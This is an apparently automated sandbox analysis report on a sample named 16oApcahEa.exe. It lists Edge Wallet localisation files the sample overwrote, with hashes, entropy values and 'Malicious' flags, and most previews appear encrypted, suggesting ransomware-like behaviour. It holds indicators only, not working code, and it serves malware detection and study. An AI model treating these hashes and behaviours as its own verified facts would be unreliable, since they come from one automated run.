C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	60323
Entropy (8bit):	7.997089925013761
Encrypted:	true
SSDEEP:	1536:LHG0hx07e7LHvRnQV7+acyMYzq+kVVJ2u/RzIITFvy:TbD7T5nQVXcyMYtkVOuHhy
MD5:	50C980D976E547E76A56C75122482694
SHA1:	905C53BBE41A9A6EF6E76FF73699A9652241FF0B
SHA-256:	D59F8E7E29073AC937552E8ED5C06A26CD1A1CD10E7708FB61EE427E10C95B03
SHA-512:	6952027439D450F2A82F37295CDCF5722D9DEB9B4069F5554117E48E620359FC160FD93339CEB8D0B5A1048D98EF097C51A45054B5C527F5A26E1093AE09A1FE
Malicious:	true
Preview:	{. ".1l.vk..)=.O.... ...L.L...[7.%....y.......MN....T...CCL.......q3.....ny"...6....wR...m..r%..ob[...r.K...+....:w..?CjG....-#......$...>y..jZY.."..... .....u..zOKe.)c...Iy$.n..TW...o2@9...n.v..hD...8xy...3.W.....k.J..;[...1&>.U...zB..R.eEk....y.L.2f.".p........K_Nx...4.xm..yksw.'W.L.F....%..B8A...k..++Hv..$.....T..?.0....G.L.b.....#8...<.9..U.....p.v.Hm%...)#.U\ .(G..!.x=.4...8N..3... ..m.........=.f...1\|.Z$.{..b....8.a......1kQ\|..H=.....~..s?.....T..P...!....:..].-.ch..re!$...Y.'(J=rf).........n...w.[oS....)...a.pH..d..\.t...V.}.........u...<..!&..q.M....,...5[.R.qF9.gu.......~m..f.N.z.t}.i.#.A.g.<a..s6.....9.2...E....cum.H...Et<. px$.....I}..$...5...d+`..l...]~....>.U...h..C..=...J.G...g...... .....=DO.m.....y._..v....<S.....7`.....Z.q........;..p/-.... (Z.\k.....3..i.g.m.rZ.1..&.f.<E[3..../..G..m.>!}......s;.~]......I.&..*d.....2......3(3Yl.$.7.un....B........L..,..M.{.l..P6V.:..ZS.P........y....:..q.u.\&.$D...\|.^dg..oA.].."

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	61830
Entropy (8bit):	7.9970869400978835
Encrypted:	true
SSDEEP:	1536:5S5iLSKjFcQzgzpYEhsE90JOr5WPMcWhh2Ij6RUdAnIGl:w58eLzpBj01Exh7KIq
MD5:	969FF59D833C8A637F6606DC53276BFF
SHA1:	9D070F4A4FEA5ECA14B00BE3AF96438807E04D9E
SHA-256:	B2453C5A6CEA1EC1030D3A61A943530E89BC1846684B484CFA9AAF57BB2B857B
SHA-512:	FBBF81695E76CFFAB18C6907FD2DF58E954997635E554BB85418CF132BA11E49D7A8E8D54DD3D6E7560E53E4492DBA411632ADD898A4ADFB667DC987B86C660B
Malicious:	true
Preview:	{. ".....z...../..!s..2c..~.;K..ok.I.2..W.OM....^..)Evj\|....iE.bh.F.....b....L..;......N>.=...r..n\...v.y,r..}...9e:iJ.p..ey.B8..x.....M?....E.U..D..j.@..4........ia......\|.M.o.../s.%.....1...-@.N7\Z%U.>...D.AF.5....s...@4t.)..Q.d.C....e6.oK.?.`......%{..{..0_.g.$..5".......e..{.!{gW..~GU...........Cl.{.d!....F.S+it@.Adg....l.3..U..y....fN....i...+z5....4.Q.0......X1Z...=..[d=..w....H.zw.U:P.0.2.....x........]..-t..W;..............7..8.`..9..o..?.B...o....d.4..y-?Z.....]DM.\|...KE..vq..o...F7Z.9..t...>...I ..?.....H*.....0.'......g"Jg-.. ...Zr....\..R[).H...-.%.L......#...(......6....\|.......x.J...~..(lv...`^......l.)=.[..... .....+.9.......B.j. ../..C.S(Kf..Di..).........R.V.X.0...j...:.].;....&...y...y..$w.X....!g..W.^.9^Y.hf..r.{..W.....q\.6.....2..d.).....#.{..J:..Px.m.k.^.b..@..yBZ....W....%LH..y!.f.....0` D2.c.....).kLZsSr......`..s.7Tg..9.....:-?..(..##.e..-....i.ON.EC..M.K C$q.r.f....V.[.......V...v..W]}0..Le.b....:'8u.U-tZ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	84376
Entropy (8bit):	7.997613967814367
Encrypted:	true
SSDEEP:	1536:/iX7xLnsi96N2MaMdgQ2lzfzyw8uCluvs6XZOs7pi8LkHd0A8LRh4LcKGjOqesoa:eFvwaO2lz7yw8DlCse7g8LkHdcLf44h1
MD5:	B8437A757673DF9FB7669191F49256E7
SHA1:	60FFCCB63B2B51F58498612D173997BDFCBBB518
SHA-256:	D35C911AC9925588B22BD986F5C1CB14A281C79062AA6D18FAE3CE2AE33641FF
SHA-512:	DE23B631C0665262419C0866D0629FD5BEA362ACA37B4EF4B722121D7EAE2C0B20EE10EE5BD8A3FEF1620D38B465A0686499DE6581DDDD7B747DA9F60FB85FAD
Malicious:	true
Preview:	{. "rH{h.P..1....S...;...a..ZOL.<.N.d..1..Jz:>.;.f...Xk!..M.}..b...@..=.$.`s.7.......R.........:.."....`........T.h.3T>.^1..8<'......6.0.q.n+.....N/.......d.4.4...F>.%..V/;{.~>.F.....$..HuA2.].&...D=.......-........+Tk=+.Q..? >.,..\s..$.....f........<......b....q-'~.C..>.b....rG.?....A..._1.$&%i.87..O.....g.7.....X....q).....x..%T.~.hOd..U......>.....LR.B.1,..i(..o/..w.x....g.=.>..P..h.q(..N8.K[R.&. 8 .O..6.B..k.u..j.:..D........EP.z....X$3l^..j..#.#e...tA:.).3..F.....d..x.mr....2.-:.I..Y4.\.....ws.....>..+.2.0.u..Z.....;n.q.d..K:NH........p..\...XR......q..l}.<~e.`.o....!.V...+..Z..c...W.w...2..4.... #.....B.b..@......H:..l.....o....%........%.Z.Z.c.Zk...`w..a-...r.$.(>...H..H..'w,04.q.]....~..M..7...F.....}.^...z...%...73..,..../.c.B..<!.M.v......P.....Q.ur....T.F.v.p2.Z..@Rz...7.....Z$..W}m.Z..s.-.R)h.'..j1./r%...s.3..Hc.2...E.`.....$.`.y\|..E.....b.etC.........Ex....{LHI<.Z.I....0?...4..-......[...s....;c#2I.+t..*<C1P.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	59182
Entropy (8bit):	7.996656093563086
Encrypted:	true
SSDEEP:	1536:I541lg7R4O5EGEJ/XkJ1lxfHRUhbGTjynOawxR8S5s:nlgjUZXk37xcSHDgis
MD5:	B7DD6C01891ED7765BADC776FB01570F
SHA1:	A40DD203D55BA01DB1FC8BF68045898C1AE37D43
SHA-256:	524BBCE12DA43AA3C38D780FD490699FF18ED0F572F196BCD3F1C5440850BF5E
SHA-512:	B74FEBA511839589D3D904020E3DB37F3719A2B898EA6B44A1AD2B7F7241CE508CDE6487A39F1C275B1CBEE8CD106F4CA57732A5476D068351328925A10A018A
Malicious:	true
Preview:	{. ".B.vH.d.....j9...0....&^.)..S.jt......g0...=ei.:xj...X.....c....@..e~%\|....T.n.........\|....A..I.c.Gr.YL....!.....\| _...bL&4....a.....;."~.D.k%..iazX~..h.......z.....U>]....G..].0E.i...GC`....S..c.}.s..Z.'...8.../R:..9.kWf#}.Te....F..X....:e.k'.9(..........C%b[.J:\o.......o...w2...Q.#..H...q.{1+......X...G....E?..R...}.....K1n.I..!tN.-.1.x......F...g.@.y...@.rY...`u.<J...@.[.%..x......._...E....E.L......d.y....sr............yp5...)...3...7k.^.w ).....D....@.i.N.....k'z....j.X..:.q.e/...Fp....2....jg>n?Vn.....x!O.?;...{5..I{D..........\|q.A/.............]_..~..w..:....v..........m..\|......Mxy.@I...M..B....V..-}L..'...2.R.r...K#M..h....e..@\....T>GAa.).U.......<..=..wP.........k.d.....8B..H....f}0~0c/(.pd.FJ.....].I.N..?..B.>_..R....,.....>}..... t$JY>g.......m.....$..Z......c...2G....H..L.q.'..i.s.Noa.\|.2...X...7..M..2O.,;..st).`......+W.....s...c.V.$....\Z.`./.....5o.I..r....h..8;........;........\|.H..t..z..c..%...&..S.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	53116
Entropy (8bit):	7.996515860861184
Encrypted:	true
SSDEEP:	1536:IBfm4UfAdqE5eL33XmCvY4W4nBYD6ebBrza:4p8AdqE5ez2CvT7BNy5+
MD5:	659D3FAA436A17BF6BD6C7858D9196F6
SHA1:	412FF21734A75D709D6CD44D9378D285F2B144FF
SHA-256:	8A7C9D5633B835F26053E11193607A7C00816D95617A6C44C58C086DCFD2A65E
SHA-512:	8710B87BA655CD34BC5D46E64A26BFBCDDCB5871F54E71024624FFB45F7C9FE8D906BF338877BE426D7AF1CC2C80B6086CC2AEA1754FB070E7613DC8AB0D5043
Malicious:	true
Preview:	{. "z.>..(....>.l.1H.Bz1..}K.5.i.am..5.y..aaF.mJ\......H..d\|.o7Z..M..:.JI...<vc.,[jG..{.k.$X....Jv\.A.=./a.^4...E..l..jKp..q..a&.j.O.....l=..y.%.\|..4c...k.... $.,stp'.I4.).y.........]...X.\).t.K..-..I..MS.B..Y..[..m..F#c~N>.g...S$......~......\|....k.3................%ej.^.YL..RZ,.U.e>........H.kA]....).ulT.}.V.s..Y.?x.(.q.siH...uB.zt&......P_iZ......=..6.>.n.2.aN......u.S.1....p..32E.{....}.#..X.#+c,...L.r......:....&.8.y...[..BR..G...v....b.~t...ebnp..S..P.L/.S(W..9.z......!.m..e......N...&...ELh..#....V...U...1)~....9........H..s#.....}.+.Y.....E...Ut0..........,.O.(e.;...IH9..!..K.=.x....Q...w.DpS0..nbi..(o..[....*.~8x.D8.e.{%..f%.I..i3&..h>....[.4.RU..p..&...!.gV!.z`v.K.[.8.l#....be....DI.6E.0.....S$.-S....1.....z\........~_..d..y\.....I1..#....)dX......66.sB.....ji..WM..r...l..^....Q....t.hXK....[....8.w....rE.zV\|..C...9.....f..C..Q.X.N...5.t+.p.........J.........\|R..p..ze......5..F.-..j....j!...d.....[.....B.M@r...!@$s^../..<&F..O.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	54270
Entropy (8bit):	7.996598256930051
Encrypted:	true
SSDEEP:	1536:wuMPZBTnn4g8CnoMDL+iix6ULOjGtNMwqYovCmq:wzPZGg1oMui7MAGowqY2CV
MD5:	D3A261536C6C62DAA0B8072FCBF9CF1C
SHA1:	ACFFDD33C2123AB0E6C97DBA921EB50084FDDC69
SHA-256:	A56F3F7148C9619EF2DF0F1879DEF0CA5C09A6AB708A9AEFE385407F820EC5FC
SHA-512:	D401B733916F0B3D2E1A44F59290D584371BA3AF28E46936F58330BAD02B30FE2CCF23218E87909A7187A8DFDCB87BC88F1ECDB0CF042CA51462A1FFD1BBA1FC
Malicious:	true
Preview:	{. ".Wr$../..o.fC.....\|..\.Y...r.....u'..H9.1rD.YU...9.....W..;.1.v....E.......N...m........[.d..Es?T....w=....X.P.i...$..{.g7....U..".......g'..b...w\|.....b.@..p....f2.?$....0$b....$...`.b.Mf.E.`..Y.+..;.w..........\|..3.N..n~<....>;4.....x..!...!Z\|..y..#..t.).=..L$.d...[..`.T.[..z.....0.:G#..'.q..1W!.........'...PP.L.J...`as....jl....!`..E;.n.\|D...^1g..ZD.`.LY.y../....P.rF~s.2K0m...qG...[...i.C........>R<.6).t..M..;.d."...4.m.y.........kW.......e@.^)<m.`w....h..H.....KL).H...n.j..... })@.q..7h.].nH....>V.5.U..4=.d0o.@.elB.lQ8.u5^$...N%7....x...6..I.3..g.v.2.Xi.b.2...+...q..+#.j....h....p3.A...V..:.-h..{.....[:F6.VvF.v...QGQD...5..."^:e..dd.$"f.c.Otq+s......z..7...H..6PA....,........T.......b....B....03..4..c.e.g...../.w.b..{gl....../..'....J.e$4.Q([..4f...t..).w...9L]...w...wm........,........V,Y.4....dY>=.>..@..x>..T.! ..3.V."%@.T.M.......Q..Fm........$.....e3..y......?....:..h......"...0....1...+.g.}.v.~..T}.Ow.=HT....A!..N:.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3816
Entropy (8bit):	7.948272549911916
Encrypted:	false
SSDEEP:	96:bpDDB90AUwaFUuIf1EUQiB3SknAZlzE5LmmN4v:bpDM9FKN94kulw5q64v
MD5:	F6674F03398D6E4D8B9787F4E6FBAD78
SHA1:	EC6C0CF7BDAE4EC9FB36B4F99C18750776FBF4F3
SHA-256:	38E3F05A0C18C5EAD46945ABB8E7235EC022ACBD02254DA4A0747D86C2E313E3
SHA-512:	14935F0F366B50A6EC196B9367DD66588D275A2C6C3F617C36D42EC8B33F2E03DDAB6F63E6ADD0C87F49C913313F0F23349E9F3CD91736CC6E46761DFDA795FA
Malicious:	false
Preview:	{. "d.1.Z'.8...eyAf...Y.FS]K...l......\|.)...;TD"..d....{.rm..........Y.E......w).M`..:...m...W\|h...53..1....u...C...s...........I)...W.....@1.S.kf..(....2\|...Zb..@....noo.T......+o...p......s.u.1..."..8l...r<..^..!]H.....!.....v...=.R^j..fF ...}.~...#...U1.kw.....j...2.TP...xR........AJ.&..........]G.T.b......Ta.d....^.....>d.#..^...c>..:...B....6G..\|.%v...5 ..b.../O.j...!tw.`.9.4.RB.7.Y.<wF.p.(...Q.....8......x......<G..\q..`N..].."."...'.....+.b.-......5.F....N......)K..5...o../36.k.-.."....R....9R.....zy.....;.YB...oa..I.w....&..b......g..mL.\......n..wv....C1...W..Y..T.cut.qf...k}...x..ro.....<B..c..(.k....Uz.aX\X.?..].".i..dc.h....).u9.]..?0YQ............=.}j..E.C}..o..[m..+r3.X.s.....JjyPp....... pX..,E.....qb...f..?Y....{...%Y....'..`...vV..K.Y.C>., ......_f.........>.....Q....L`J~..4.C.97.R.f..{.R..Y.@.{v...PIj....!.*o(=.........5k[.1..P...8g....R..Wz.od.%G.....4.D.....Bt.`8z.Y}....K.^.K2.r...)..T>...........$....K

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\de\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3371
Entropy (8bit):	7.9391526984911
Encrypted:	false
SSDEEP:	96:EEm0AOt6idcrmdQIZz311VVDijzhHWiewQ:WEgidcyNl11fSzhHu
MD5:	22E1284A26165169E05DD208DF98491F
SHA1:	D77871896DF6E28AFC0E3E2C5E88F9B4B7687484
SHA-256:	2CE8D404EA778B3486361B7C15C1C488F2C34DE20DCD357F472B41F32A3E4DE5
SHA-512:	4C70AC06CB9D6595F815A567B24257A70DE547868BA678C0AA00A9F546C72F202FC37352E42CDE23D899DE367DAE2DB905B863BAD5631550851621D39E496A15
Malicious:	false
Preview:	{. "...Q..#.f.....j.Z..01T.....T.(V.L.\.B.r&......i.9..m......B..@...h.R.j......X.Bj..~..e..%o..$.'e...h.)..o._.6...0...8...<.....S'...F...N..:......l..u..UP..'.!....-$.l.S....84J.+J.uu........MV#.....'9....c....D9...cC..K........I..9.ho.......l......'mWg.?...l..z.....d.w9..........&..,...Hj.p;....?-......^....@.k..G.f.......r...`.Aik.sz.Sh.!w8.btc.?.S5.M.x.......h.r......_..@.....w......CG..4...t#..s.$l.eg.n..K.'u\..j..........8.....g..7. ..(.x2.C...~.0.q.1J.4.?..V..F%....WX[&....\|...U.C_...)...S.w._L......-...,<.,.7..?q.s.U1....,k.lq...Zj..v..G..-...'X../...m &-..........8F.q.{1Xy.OY.F/l.n..>9...v.D.zf...5.,..@n;.f.+.x].....z..:..u.v..........$....y....9...3.V0.j..rs..MOvm..wHC...EO..s....(..I..@..n..g..F...Z.l0._\.....flo.a...&...h.....\.\...X....P.d...4.?.Y-.........$.k..p..._..dIvxL.....<..E...b.}.gs.....gK.R..........G.P.,..'..'d.>....,...4...eC.4m......hgU.......I..P...-. ..&d`..)....E.JN..\|....%.*.._.../(.e.p.N...m..q..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3050
Entropy (8bit):	7.942993625136326
Encrypted:	false
SSDEEP:	48:VyDk1kCVGTN3jVVu/9md3vtVtelyxFMl0ElZ3PA7NbmemHcp9ya4P5CdxueJD:Vywk+Gt3U9q/opllZ3PABbmg9yVP5wxx
MD5:	85E82534A36FD4F68E22F6DEF0EB40B7
SHA1:	E8BACD42EC77BE6F124700A1D64BC3E6426051A6
SHA-256:	3702B2AEB27EDBC5F802F003A97802788C4A546A0F8118D13816F98BDCEDE717
SHA-512:	BB2C561EE437F4224A8787FA1AC1717B6F8DDCD07045409DDCE0037115B8800F059FCC73867D81F9BFB4EDFCBC1255EEBC680ED398B6836C0B4E2CB16C060B43
Malicious:	false
Preview:	{. ".+W..k.....Cx...]i.....WD.2H.]{.._......).}+..v/#,.e'.K.",...-P ....(.u.c ...Gj.O....z.....B....7g..... .-..].\....w.V......@^RC...,H..i.....pl.U;.V.....m.. ....:b<..8":e#.>.Dw....r.p.g.....q..G.c....pv..Uu..."...`..;Z{..rk.Q..4r.5s....j.nG..~....3..../w..{...[."-..7.#$. 2.y..b.#7......h.{.P...\..D.4...=Iu.:S. V.Z.f.....qm...........kQ..n.\|@zqX::.KX.'J....q-W.R...r.....O....Y...f^e%#H..5..~...........Y......:N.....n...&......H>.b@.n....U.Tz.~:..mP.lr=.......f.M......;=<.........&u../~....L..u... ptf..+..\d..nOT..T..;5.<..........\W.fk'..:.....n.1..e..R..S.e.?9f...L..3L.E.G.5w.7H[.0...v..o)....T..n._.s.\...D...UBt..I..A`.J^t..-S..q.9...]#..........-...N...).E..LD1lec.%......s.H3..fa~..b.t.e. ..u.....-yK.......n...p..l...........=4.Z}e.]X.b.J<N"+.....2..0.D..#S(.h.....).T_...."Rg.e.......E..un.:......`*..M.2./.^....../.B...g....Fe..k........>VhSJp.......cG.@'.!KT.-...."9.......-.g.k.5.C.t.Wb.x&..Z..2%RX..4.J..j...x.mF..b.:.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\es\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	7.935949037756858
Encrypted:	false
SSDEEP:	96:R0oIUKVsuG9lwDHSip3xeXFswkdCG7ajOL4zE:RO1l0Ixgmn9kE
MD5:	C3D2AF6C42E7E6D4390693936C19EF13
SHA1:	26307455FD9F0D03DD88B0E7240FD9D5F1AEFF22
SHA-256:	616B7EBF3CAA72648B791215DAA58E4C298CB5BF6C7C749042DC64110C53CD96
SHA-512:	27D81B7AE84F0CC47591B5A4056912CE279D94A173366954623F8EFC84C6A020AD24CAEC0BCC8282B399C25BC879EC9BDAD192B0DCB9BBAC88BE951EFD645339
Malicious:	false
Preview:	{. "........3...P....+...c.d.A.D.E2.w.!.G.S.&.1..E0nu$..H..n[?......t..H"...Bz.F. .NG/.P.n1...5......Q.N..7Z1..c.A.w(0.O.(.-...h.!.G.k+T....w......e5.\......l5.g.S.u..7...Z..+....$...=."p.t6.C....$.=...r.9....Y....Rey.........M"mD..OA..)L.I$e.f.5.u..Zr..9...C.M.Q".d...U`..D.LK_.$.M....@...-0...S..P..G.kWCi.O.....e?.4IOri......G..}.Q.....a...)&....[...\/....\|....H..r$...W...1{......d'.o\|.[q....x.Dw.@.7o.E.<.E.>AG^..M."...N7....f....r.`..a.y.FLwQQ.S.Y.....o..#v...z..5.&. {B.-........;..'..D.)./..O\|.....R.7X\|.A.....aR.Hp.fC.(u...=1M......u.Py).....,....g...I4.d.E7..!...r...b...q...E......?b/5.M9n....k.....f8n#p...R..Y![s.......&.(..0L.....Z.h..Z....Z.KV.d.....h.}^8u.x..s.....MY..N*..&..$V(.K.K..&a.p>.U3.~<...#j...Y..D....o1..4.:...J....9..G=Y....Lc.4..D)...1 ."........1g`..Wd.v...Ap...M..N..s..9..d...k~QPx.s.$x...!....z....m.;v.}....A.N.T...?T2....M.R^.........w.Fp6K..z....%.o.....#\..,.m.6W..a..XwR...V./a..z ...4..5.....N.C....`.~b.$..Y%..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3391
Entropy (8bit):	7.938870363690144
Encrypted:	false
SSDEEP:	48:sp/9ScP7wIB5edjA9xpRLesxuYeDmcn2Pe8J3n4bwHGv6IcKyZQEjBafWe9J+LBl:iSioWDpRLv6mQ2e8J3eKeUQWwf/yBQn4
MD5:	99B9A0E2E1B28D43974F93D73B989665
SHA1:	C0AB0EA55B681A4AB4F44945C3920EF443D18863
SHA-256:	CC6352E288B5DA6FF4065677A6D20B52DF3C4DE410C455F48EE4BB7BD5E93102
SHA-512:	843EB01BE1A87F7A30895AFC78276643A5950BBF8CB43D73DD5547D55FF019DAC1F153BF2DE4E2AD373F52B91B964836DBB6B863B7CC8C47EC3AD3CB3EC1E11D
Malicious:	false
Preview:	{. ".`...a!#....9m..x.4....I.I.^..0.Hk..9..D...(..F.~..>....#uH..KM.7.%q..c..W..S."&....M......q.L..Y5.....Swu..\|./...5A.M...+h)HU.....Y....<...z..5..\\|S._...#eP.V.X/.u..gA..a...z).`a...... !..L...G.c...it..p=....?.H&.Ha.,...I!..5..3S...7V...t"&.5.8.7u>#.c..m..y...c9..B7..c..........&....?.....%..k...$..v.e...$r......P.{..gPT[=..0.`...[...9..D..&2.Uv.r..L.a.A.[.%...z..(..;..k..N.M.". ^.~......Zeb..x...+....UY...5.;....<...K....o...L..........;4.."......E.[..Bk.&(.].6.~>...;..IR..,.......5.JR..qsI.G/.B.....Q....4.5f.~...7.Q.Fs..!G..,..D.h^...F...h..b.Y......-.$T..~..V.I...A...AN...1mM)....5.D7+.eX...(...ZV.....p.e...b...&.f..;.s...r...a... Q.....Zy.v.19...<$V.a1n.%3..g.}.T..\|.F.....83....%...$..^...AD.7..%..-.e..:M..Rj.....6..K....\.............Qa.M..PP.-..,w..Y,.......{..........+..5. .<..\o....w.$......T.......)W..#_Q....w..<..7).6...C..sZ.."....Sx.Qg..oH..e....8{.e+..T.....dZ.H..S.9..............< t.a.nS.:+..0!s...9>.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3391
Entropy (8bit):	7.939924101333483
Encrypted:	false
SSDEEP:	96:9q+wzKJDHJWBz6WbPzu7BoTl18yk6DzeIULkeB:9q+wzODHJAuWLa7aTlPeIUR
MD5:	B2158514B63A68DD856ACD1AC0B0971F
SHA1:	9E20E79CA2CF33E7E018AE0CFFF548843833D62F
SHA-256:	32066979C1C46F0A0D7C7C2D5D56CB2E2656CB7EAD75A5ED85BDC3382C8FEA49
SHA-512:	D6796819943501E90227B6B2DE9E4C41D906428F39EA8025AA9219C66E7DB6051C50271568048426C4E69AFC60EB5A0276D5C7AFDC71786A205288C140095C4B
Malicious:	false
Preview:	{. ".F.@..........Q&...x..&.'.._...@.).1.'p;O5,...I....f.......;....]*.....V...a..0n.....iGA.<..b..?..e......eX.76O..\b.........R.T^.....sg..M=..IV..z.l-s. .j.1.%.6.+...g.!..yP..F$H7(....EFX)...$.z..^W.ks.b..9Z#....Q...O.AM0........J...zZ.o..."O.G..~.....1...n....U.v.A..Q..Y......`.>.w2\| ..r.t.M..?...h..]...U....Zm..y.X.d.\|x....W.........D8..?.m.d.z.j.Jm.%..[.V)..M.{.F..^_F.Q_.7)..~...........i.......7....V....7.;_..X.p.0.2.-...O1KH.s_.N.B..../.....n...._.X....N-.gp...G.....ZJ^............d7..0...Oop .......b.pDY...ES.8...p.{.y......+di..7.........o.$...4<..td.8gY....r4..v.R...gx..1./)[2...}.sH.....".$.`BA.})...lZ.. ....@4....'....K..^..N......r.k.<.....t.ul@..H..c..9.L.3j.&..T.cS.....@lr.}.\|dH.?...#.H-..#..z....I'...9..Q..<.......{%7.x.%..........r..\|...N..C5k$)..?=.+zR{.p.......Y....;....?K..k....GJ.z^....Sg.r............\|......hU!c....._..f...@.o.. ..:.&...n.S...q.B..#......!...n)k.72....U:.../&.H5..u..x.j.....[..&.8.. .T...#!..S)'...!B6.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\id\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3226
Entropy (8bit):	7.935265392883976
Encrypted:	false
SSDEEP:	96:3c4aP1TynvjxOOq24sTgJKc4VXlQQxTxvNru:3cntTybEOqGFVXlQQnNru
MD5:	CBF7C8E5A90A911A3D9530ED98BE6906
SHA1:	101BBE7FEB60D764A9611CF3AF9266D2E2EC0855
SHA-256:	6E84DB6212E7E991DF58A113956AA3AD42153B7C8AE34A848491D51EE3E1F097
SHA-512:	FD4035E5C96A1051FE24ACD0D8455D5A991623C8C8576F6317BCFD007AB8FB917D814FEA61184ED78690D53AEF196F8F48A3FEF28CD779840EF0A28C47EADC84
Malicious:	false
Preview:	{. ".....BR)....]......&..L.C...&.&.i..st....Hp.^.P1)9...z..+.......:.....g.bjH.TU.!!.......,I.....'.Fs=8..P,.!Rl..1.. g.W....l..F...-I.9{..qE...?...u...O^.....#^'cYf................t4... ]].....F..U.p.M..-..T......G..<.3...~.....j.p.r........U..!.J.......r.......;#.a..U..aX......N....j..2..._..b..v..D......D..efm.....G..{......A...\|o...="..x.......yK<..[......$..p@.....<.%......cJz.)t>%..l..=.<...B....{.e....^.(.4..\|.h..2.,%)O7.j .W0..{..h-E'O}.......L..$l.;.B.w.\|#.T....~.....$..g.'.R.}...uL...#..........cx..p+.~\|G).J.J...pF/y..f.....{>..D...8\|......^.Q..[...:2..].....pQ.trv...k.....X.h.v......P,..I..[..Hz...z.L.....:.B.y...u.....a.z.......sP.._..~.=#2..V..A.7[.<........4K.."K.^.;."..M.N.Rh...h-^....]..3^....z..2...6.....qu...:.R.St..."}.]I5.-..i>.AQ.G.`F.??q_..k.V.YP.K..7.L..T.`.!..F=0?.\|...7WH..hDe.;9tu..B*..7.....Y..........O>N......o...'A....).......\..]..Tf....i#...4A..y...'.X.u...e.._.([c......qq....{aaxF.po=..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\it\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3214
Entropy (8bit):	7.936398963134629
Encrypted:	false
SSDEEP:	96:fQgNpIi5JGqgxaaLSRyYtM1fAAoiwMmMRA:4g7GqKLSRi1PtmsA
MD5:	A559835AF778D742AAD950D816EE9023
SHA1:	5249C8F6BE922821C6FFA31681ECED1A957724C7
SHA-256:	F7741A2C5153CCE241F548BA5F8ADFDFD75DE8F165A04A0BCE8BBF6D0F1912A7
SHA-512:	B8B821D582EF29A20F8E70E1D7855F782499317951DB0756C54255DC8A01053E43DB3071BD3810A9E0C4CE7B449CA1E1D684349F2F1C0C44C37DEE49CEAE68E4
Malicious:	false
Preview:	{. ".\.=..c..]];.. ..@1.....g7.@.+..b.KX..(.5..zj..HI.}!.M.se.K...,t.H..p^..K...._...I. .@.f.0..q...m.....bh.eH..M..b..G~.^..I.!............Fu....\.]H.........F.......6......@<.JZ.>.P.F].!....s...o<..3...{.g.v_t...d..tuQ..aj...;$f..[..!..]..T...p..,>...\|o.....S..?.....kTq... .0I1W~.v....'d.r.f.8...!.....6....f.a......N.HS..C@#C...{'d.5.8.P=9>.e.;p..\X:..[..=A.....8+E.x/..O...@)[u.3..T.<m..=..y.....vX..?/....j..........cH.M.v.R...<.&3".2.p.2i.....^I9....l.-..Q'...l\5.....M?hA.I.i.jt~....V.....E.>.#.....X.s........VV.v>.\|..!.....D....(.U....Q.D.W...Imh.JWY%.c.g..H....`iw.+..d..k.8...q..2.FE..../../C.q#..a."..3f.UJ../...&.#.....>.....u7...B..z.50...1..$.J...+.<x_.._O....`...P4#M.".<.qgj.S...q...G..HU.^....)...F......i.\...}P.an...&....0.Lz.f1..gh........\.IbX_...;o.xG... A..I.r...V..#f..^.n.....9.&6.w..).+..u....H.K.=7X.Ea.T...q0n...e._V!..W....~.]q......u.u4t.<rI.."`W.3.U...XG.P.!........j7.M.j0..]!9. ...{IF<........P...U..h....^..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ja\strings.json

Download File

